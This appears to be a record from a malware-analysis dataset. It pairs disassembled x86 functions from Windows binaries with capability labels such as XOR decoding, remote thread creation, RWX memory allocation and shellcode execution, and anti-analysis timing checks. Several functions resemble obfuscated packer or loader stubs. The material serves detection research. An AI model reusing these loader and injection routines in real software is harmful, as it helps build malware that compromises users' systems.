joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403e4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x403e59
pop dword [ebp - 0x20]
mov eax, 0x77acbcd3
add eax, 0x88938186
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x7c0fd03f
add dword [ebp - 0x30], 0xd242750c
mov dword [ebp - 0x2c], 0x5bb0220c
sub dword [ebp - 0x2c], 0x297cd5c7
mov dword [ebp - 0x28], 0xd4b88d37
sub dword [ebp - 0x28], 0x886c4909
mov dword [ebp - 0x24], 0x77c00438
sub dword [ebp - 0x24], 0x77c00438
lea eax, [ebp - 0x30]
push eax
mov eax, 0x6d9ef7cd
add eax, 0x92a17897
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x19fdc6da
add dword [ebp - 0x30], 0x5a74a27c
mov dword [ebp - 0x2c], 0x19dd0f59
sub dword [ebp - 0x2c], 0xd870ade4
mov dword [ebp - 0x28], 0x51f2958e
add dword [ebp - 0x28], 0x117cd6de
mov dword [ebp - 0x24], 0x278d8ba3
add dword [ebp - 0x24], 0xd872745d
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0x265e47a2
add eax, 0xd9e22906
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x387d9
push 0
call eax
mov ecx, 0x34b9957d
sub ecx, 0x34b94684
xor edx, edx
add edx, eax
mov esi, 0xf23525f3
sub esi, 0xf1f425f3
add esi, dword [ebp - 0x20]
mov ebx, 0x981279a6
add dword [ebp - 0x18], ebx
mov edi, dword [esi]
xor dword [ebp - 0x10], 0x15de25fe
xor edi, ebx
xor dword [ebp - 0xc], eax
mov dword [edx], edi
add edx, 0x7a8b4584
add edx, 0x8574ba80
add esi, 4
loop 0x403f77
add eax, 0xd98c950b
sub eax, 0xd98b6654
mov ebx, eax
add eax, 0xfbb02306
sub eax, 0xfbb02301
mov ecx, 0x892c8cc0
add ecx, 0x77137340
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x408379
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x408388
pop dword [ebp - 0x18]
mov eax, 0x408388
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x3b49a
push 0
mov eax, 0x8b153dce
sub eax, 0x8ad45cf6
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0xc637512b
sub ecx, 0xc63700f6
xor ebx, ebx
add ebx, eax
mov edx, 0x129e891e
add edx, 0xeda2b2a6
add edx, dword [ebp - 0x18]
mov edi, 0xf8da8420
mov esi, dword [edx]
xor dword [ebp - 4], eax
add esi, edi
xor dword [ebp - 0x10], 0x8e1f0359
mov dword [ebx], esi
sub dword [ebp - 0xc], ecx
add ebx, 4
add edx, 4
loop 0x4083de
add eax, 0x133a7
mov ebx, eax
add eax, 0xb127bc4c
sub eax, 0xb127bc47
mov ecx, 0x400000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x4318c0
Capabilities:
Get geographical location

Disassembly:
sub esp, 0x808
mov eax, dword [0x435004]
xor eax, esp
mov dword [esp + 0x804], eax
mov eax, dword [0x4382a4]
imul eax, eax, 0x343fd
cmp dword [0x22dadc4], 0x139e
mov dword [0x4382a4], eax
jne 0x431913
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTapePosition]
mov eax, dword [esp]
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_GetAce]
mov eax, dword [0x4382a4]
add eax, 0x269ec3
push esi
mov dword [0x4382a4], eax
movzx esi, word [0x4382a6]
and esi, 0x7fff
cmp dword [0x22dadc4], 0x8e7
jne 0x431948
push 0
lea ecx, [esp + 0xc]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov ecx, dword [esp + 0x808]
mov eax, esi
pop esi
xor ecx, esp
call fcn.00401000
add esp, 0x808
ret

Function at 0x431a10
Capabilities:
Create pipe

Disassembly:
sub esp, 0x24
mov eax, dword [0x435004]
xor eax, esp
mov dword [esp + 0x1c], eax
mov eax, dword [0x4361f0]
push ebx
mov ebx, dword [0x22da830]
push edi
mov edi, dword [0x22dadc4]
call fcn.00431960
cmp dword [0x22dadc4], 0x2f
jne 0x431a75
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x18]
push ecx
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
call fcn.00431990
mov ecx, dword [esp + 0x24]
pop edi
pop ebx
xor ecx, esp
call fcn.00401000
add esp, 0x24
ret
Function at 0x431d70
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1818
call fcn.00409150
mov eax, dword [0x435004]
xor eax, ebp
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
jmp 0x431d99
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xbbe2aa2
jge 0x431e3f
cmp dword [0x22dadc4], 0xa5f
jne 0x431de3
push 0
call dword [sym.imp.KERNEL32.dll_GetFileType]
push 0
lea ecx, [ebp - 0x818]
push ecx
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 8]
push ecx
push 0
lea edx, [ebp - 0x1018]
push edx
push str.keminivefayosexerukugufebaponif
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
cmp dword [ebp - 4], 0x84526b
jne 0x431e08
mov eax, dword [0x437010]
mov dword [0x22dadc4], eax
mov ecx, dword [0x22dadc4]
add ecx, 0xa231
mov dword [0x22dadc4], ecx
cmp dword [0x22dadc4], 0x141
jne 0x431e3a
push str.renej_luwoyisawopab_dadabayegutenecisufoba_wozonotuwugewiropoxu_vogiwipeladoxakanahotucucuwi
lea edx, [ebp - 0x1818]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov dword [0x4382a8], 0xec58acac
mov dword [0x4382ac], 0xffffffff
jmp 0x431d90
call fcn.00431a90
jmp dword [0x22da830]
Function at 0x4011c0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 0x14], 0
mov dword [ebp - 0xc], 0xffffffff
mov dword [ebp - 0x18], 0
push str.Kernel32
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], 0
push 0
push 0
push 0x1fffff
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.DLL_DuplicateHandle]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x401226
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x28], edx
jmp 0x40122c
mov eax, dword [ebp + 8]
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x28]
push edx
call dword [sym.imp.KERNEL32.DLL_GetExitCodeProcess]
test eax, eax
je 0x40129d
cmp dword [ebp - 0x1c], 0x103
jne 0x40129d
push str.ExitProcess
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x10], 0
je 0x401267
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x2c], ecx
jmp 0x40126d
mov edx, dword [ebp + 8]
mov dword [ebp - 0x2c], edx
lea eax, [ebp - 8]
push eax
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x24]
push edx
push 0
push 0
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateRemoteThread]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x40129b
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov dword [ebp - 0x14], eax
jmp 0x4012b1
push 0x42649d
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x14], 0x42b
cmp dword [ebp - 0x18], 0
je 0x4012f5
push 0x42649e
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
cmp dword [ebp - 0x10], 0
je 0x4012d2
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x30], ecx
jmp 0x4012d8
mov edx, dword [ebp + 8]
mov dword [ebp - 0x30], edx
push 0xffffffffffffffff
mov eax, dword [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov dword [ebp - 4], 1
push 0x42649f
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
cmp dword [ebp - 0x10], 0
je 0x401312
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp dword [ebp - 4], 0
jne 0x401322
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.DLL_SetLastError]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x401370
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x42f140]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
cmp dword [ebp + 0x10], 0
je 0x4013c4
push 0x4264b0
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov eax, dword [ebp + 0x10]
push eax
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0
lea edx, [ebp - 4]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
lea eax, [ebp - 0x110]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x40146b
push 0x4264ad
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
cmp dword [ebp + 0x14], 0
je 0x401454
cmp dword [ebp + 0x1c], 3
jne 0x40142b
mov edx, dword [ebp + 0x20]
push edx
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x1c]
push ecx
push 0
mov edx, dword [ebp + 0x18]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 8], eax
jmp 0x401454
mov ecx, dword [ebp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
add eax, 1
push eax
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x1c]
push eax
push 0
mov ecx, dword [ebp + 0x18]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x401461
mov dword [ebp - 0xc], 1
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00415d91
mov esp, ebp
pop ebp
ret

Function at 0x401480
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov eax, dword [0x42f140]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
push 1
push 0
push str.SoftwareMicrosoftInternet_Explorer
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x5c], eax
push 0x4264ae
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
cmp dword [ebp - 0x5c], 0
jne 0x4014f7
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 0x58]
push edx
lea eax, [ebp - 4]
push eax
push 0
push str.Version
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x5c], eax
lea edx, [ebp - 0x58]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00415da0
add esp, 8
jmp 0x4014fb
xor eax, eax
jmp 0x40150a
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00415d91
mov esp, ebp
pop ebp
ret
Function at 0x4015e0
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x42f140]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x110]
push eax
push str._USERPROFILE_
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsA]
lea ecx, [ebp - 0x110]
push ecx
push 0x4264f4
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00416282
add esp, 0x10
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00415d91
mov esp, ebp
pop ebp
ret
Function at 0x415170
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x41518d
xor eax, eax
jmp 0x41519d
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov eax, dword [ecx]
mov esp, ebp
pop ebp
ret

Function at 0x4157c1
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x430524], 0
push esi
jne 0x415734
call fcn.0041565a
test eax, eax
je 0x415777
mov eax, dword [0x430524]
cmp eax, 1
jne 0x415755
push 0xd
push 0
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
test eax, eax
je 0x415777
pop esi
ret
push eax
call dword [0x43052c]
test eax, eax
jne 0x4157bf
push pe_nt_image_headers32
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x41577b
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x430524]
call dword [0x43052c]
mov edi, eax
test edi, edi
je 0x4157a0
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
jmp 0x4157bc
mov edi, esi
add esi, 0xff0
push edi
push dword [0x430524]
call dword [0x430528]
add edi, 0x10
cmp edi, esi
jb 0x4157a8
mov eax, edi
pop edi
pop esi
ret
jmp 0x415721

Function at 0x415d91
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42f140]
jne 0x415d9b
repz ret
jmp fcn.0041aa2c
Function at 0x42249c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0041a375
and dword [ebp - 4], 0
cmp dword [0x430f2c], 0
mov ebx, eax
jne 0x42254d
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4225fe
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4225fe
push eax
call fcn.0041a303
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x430f2c], eax
call esi
push eax
call fcn.0041a303
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x430f30], eax
call esi
push eax
call fcn.0041a303
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x430f34], eax
call esi
push eax
call fcn.0041a303
pop ecx
mov dword [0x430f3c], eax
test eax, eax
je 0x42254d
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041a303
pop ecx
mov dword [0x430f38], eax
mov eax, dword [0x430f38]
cmp eax, ebx
je 0x4225a5
cmp dword [0x430f3c], ebx
je 0x4225a5
push eax
call fcn.0041a37e
push dword [0x430f3c]
mov esi, eax
call fcn.0041a37e
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4225a5
test edi, edi
je 0x4225a5
call esi
test eax, eax
je 0x42259c
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x42259c
test byte [ebp - 0xc], 1
jne 0x4225a5
or dword [ebp + 0x10], 0x200000
jmp 0x4225de
mov eax, dword [0x430f30]
cmp eax, ebx
je 0x4225de
push eax
call fcn.0041a37e
pop ecx
test eax, eax
je 0x4225de
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4225de
mov eax, dword [0x430f34]
cmp eax, ebx
je 0x4225de
push eax
call fcn.0041a37e
pop ecx
test eax, eax
je 0x4225de
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x430f2c]
call fcn.0041a37e
pop ecx
test eax, eax
je 0x4225fe
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x422600
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402e3e
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push edi
xor eax, eax
mov byte [ebp - 0x18], 0
lea edi, [ebp - 0x17]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x18
stosb byte es:[edi], al
lea eax, [ebp - 0x18]
push eax
push 0xb
push 0x800
call dword [sym.imp.KERNEL32.DLL_GetLocaleInfoA]
lea eax, [ebp - 0x18]
push eax
call fcn.0042a6eb
cmp eax, 1
pop ecx
pop edi
jle 0x402e7f
mov word [0x48ad54], ax
leave
ret

Function at 0x402ec3
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
mov edi, dword [sym.imp.USER32.dll_GetLastInputInfo]
lea eax, [ebp - 8]
xor ebx, ebx
push eax
mov dword [ebp - 8], 8
mov dword [ebp - 4], ebx
call edi
mov eax, dword [ebp - 4]
mov ecx, eax
sub ecx, dword [0x48ab90]
test ecx, ecx
jle 0x402ef6
mov dword [0x48ab90], eax
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_GetTickCount]
call esi
mov dword [0x48ab90], eax
jmp 0x402f2e
lea eax, [ebp - 8]
push eax
mov dword [ebp - 4], ebx
call edi
call esi
mov ecx, eax
sub ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jb 0x402f26
sub eax, dword [0x48ab90]
cmp eax, dword [ebp + 8]
jae 0x402f36
push 0xa
call dword [sym.imp.KERNEL32.DLL_Sleep]
cmp byte [0x4892b4], bl
jg 0x402f06
mov eax, dword [ebp - 4]
mov ecx, eax
sub ecx, dword [0x48ab90]
pop esi
test ecx, ecx
jle 0x402f4b
mov dword [0x48ab90], eax
xor eax, eax
cmp byte [0x4892b4], bl
pop edi
setg al
pop ebx
leave
ret

Function at 0x403125
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push edi
xor ebx, ebx
xor eax, eax
mov dword [ebp - 0x10], ebx
lea edi, [ebp - 0xc]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0xf
xor eax, eax
cmp byte [ebp + 0x10], bl
pop ecx
lea edi, [ebp - 0x4c]
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x50], ebx
rep stosd dword es:[edi], eax
je 0x40315b
or dword [ebp - 0x28], 1
mov word [ebp - 0x24], bx
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push ebx
push ebx
push ebx
push 1
push ebx
push ebx
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
test eax, eax
je 0x40319a
push esi
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
cmp byte [ebp + 0xc], bl
je 0x403194
push 0xffffffffffffffff
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push dword [ebp - 0x10]
call esi
pop esi
pop edi
pop ebx
leave
ret

Function at 0x40319e
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push 0x3ff
lea eax, [ebp - 0x400]
push eax
push str.SHOWEWFMSG
mov byte [ebp - 0x400], 0
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
cmp byte [ebp - 0x400], 0x31
jne 0x4031e0
push 0
push 0x475b6c
push dword [ebp + 8]
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
leave
ret
Function at 0x4031e2
Capabilities:
Terminate process

Disassembly:
cmp byte [0x4892b4], 2
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x14
pop esi
je 0x4031f9
push esi
call edi
cmp dword [0x48ab9c], 0
je 0x403214
push 0x1e
pop esi
jmp 0x403214
cmp dword [0x48ab94], 0
je 0x403217
push 0xa
call edi
dec esi
jns 0x403207
mov eax, dword [0x48ab94]
test eax, eax
pop edi
pop esi
je 0x403235
push 0
push eax
mov dword [0x48ab94], 0
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov byte [0x4892b4], 0xff
ret

Function at 0x40323d
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_SetLastError]
push dword [ebp + 0xc]
mov esi, 0x8000004
push 0x64
push ebx
push esi
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_CreateFileMappingA]
mov edi, eax
cmp edi, ebx
mov byte [ebp - 1], 1
je 0x40327e
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x40328f
mov byte [ebp - 1], bl
jmp 0x40328f
push dword [ebp + 0xc]
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_OpenFileMappingA]
mov edi, eax
cmp edi, ebx
je 0x4032cb
push ebx
push ebx
push ebx
push 6
push edi
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
push edi
mov dword [0x48aba4], eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [0x48aba4]
cmp eax, ebx
je 0x4032cb
cmp byte [ebp - 1], bl
je 0x4032c6
push 0x64
push ebx
push eax
call fcn.00461780
mov eax, dword [0x48aba4]
add esp, 0xc
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4034db
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push 0x169
lea ecx, [ebp - 4]
call fcn.0042465d
mov ebx, dword [ebp - 4]
push 0x104
push dword [ebp + 0xc]
add ebx, 0xc8
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrcpynW]
lea eax, [ebp - 8]
push eax
xor esi, esi
push ebx
mov dword [ebp - 8], esi
call sub.VERSION.dll_GetFileVersionInfoSizeW
cmp eax, esi
mov dword [ebp - 0x10], eax
je 0x403599
push edi
push eax
push 2
mov dword [ebp - 0x14], esi
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.DLL_GlobalLock]
mov edi, eax
push edi
push dword [ebp - 0x10]
push dword [ebp - 8]
push ebx
call sub.VERSION.dll_GetFileVersionInfoW
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
push 0x475ba4
push edi
call sub.VERSION.dll_VerQueryValueW
mov eax, dword [ebp - 0xc]
mov cx, word [eax + 0x12]
mov dx, word [eax + 0x10]
mov di, word [eax + 0x16]
movzx eax, word [eax + 0x14]
push eax
movzx eax, di
push eax
movzx eax, dx
push eax
movzx eax, cx
push eax
push 0x475b8c
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.DLL_GlobalUnlock]
push esi
call dword [sym.imp.KERNEL32.DLL_GlobalFree]
pop edi
mov eax, dword [ebp - 4]
mov esi, dword [ebp + 8]
and dword [ebp - 4], 0
lea ecx, [ebp - 4]
mov dword [esi], eax
call fcn.00424686
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x403a5a
Capabilities:
Create directory
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
and dword [ebp - 0x14], 0
and dword [ebp - 0x10], 0
push ebx
push esi
mov esi, dword [ebp + 8]
test esi, esi
push edi
jne 0x403a75
lea esi, [ebp - 0x14]
mov eax, dword [ebp + 0xc]
test eax, eax
jne 0x403a7f
lea eax, [ebp - 0x10]
push 0x26c
mov ecx, esi
mov dword [ebp - 4], eax
call fcn.00424699
mov ecx, dword [ebp - 4]
push 0x2d0
call fcn.00424699
mov edi, dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableW]
mov ebx, 0x208
push ebx
push dword [esi]
push 0x475d10
call edi
test eax, eax
jg 0x403abe
push ebx
push dword [esi]
push str.TEMP
call edi
and dword [ebp + 8], 0
add eax, eax
mov dword [ebp - 0xc], 0xc7
mov dword [ebp - 8], eax
mov edi, dword [esi]
add edi, dword [ebp - 8]
call fcn.004264c1
mov ebx, eax
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
add ebx, eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
push eax
push dword [ebp + 0x14]
push str.pecmd__s._lu._lu.tmp
push edi
call ebx
mov eax, dword [esi]
add esp, 0x14
xor edi, edi
push edi
push eax
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryW]
test eax, eax
jne 0x403b39
push 5
mov ecx, 0x48aec0
call fcn.0040ac88
dec dword [ebp - 0xc]
jns 0x403ace
mov eax, dword [esi]
mov word [eax], di
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x403bd5
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
jmp 0x403be4
cmp dword [ebp + 0xc], edi
jne 0x403b45
xor esi, esi
jmp 0x403be7
push dword [esi]
call fcn.0046176a
mov edi, dword [ebp - 4]
mov dword [ebp + 8], eax
inc eax
push eax
push dword [esi]
push dword [edi]
call fcn.0040391f
mov eax, dword [ebp + 8]
and dword [ebp + 0xc], 0
add esp, 0x10
add eax, eax
mov dword [ebp - 8], eax
mov esi, dword [edi]
push dword [ebp + 0xc]
add esi, dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
push eax
push dword [ebp + 0x14]
push str.pecmd__s._lu._lu.tmp
push esi
call ebx
mov eax, dword [edi]
add esp, 0x14
xor esi, esi
push esi
push 0x80
push 1
push esi
push esi
push 0x40000000
push eax
lea ecx, [ebp + 8]
mov dword [ebp + 8], esi
call fcn.00403993
cmp eax, esi
mov dword [ebp + 8], eax
jne 0x403b24
push 5
mov ecx, 0x48aec0
call fcn.0040ac88
inc dword [ebp + 0xc]
cmp dword [ebp + 0xc], 0xc8
jl 0x403b6c
mov eax, dword [edi]
and word [eax], si
jmp 0x403b24
cmp dword [ebp + 8], 0
je 0x403be4
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x10]
call fcn.00424686
lea ecx, [ebp - 0x14]
call fcn.00424686
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret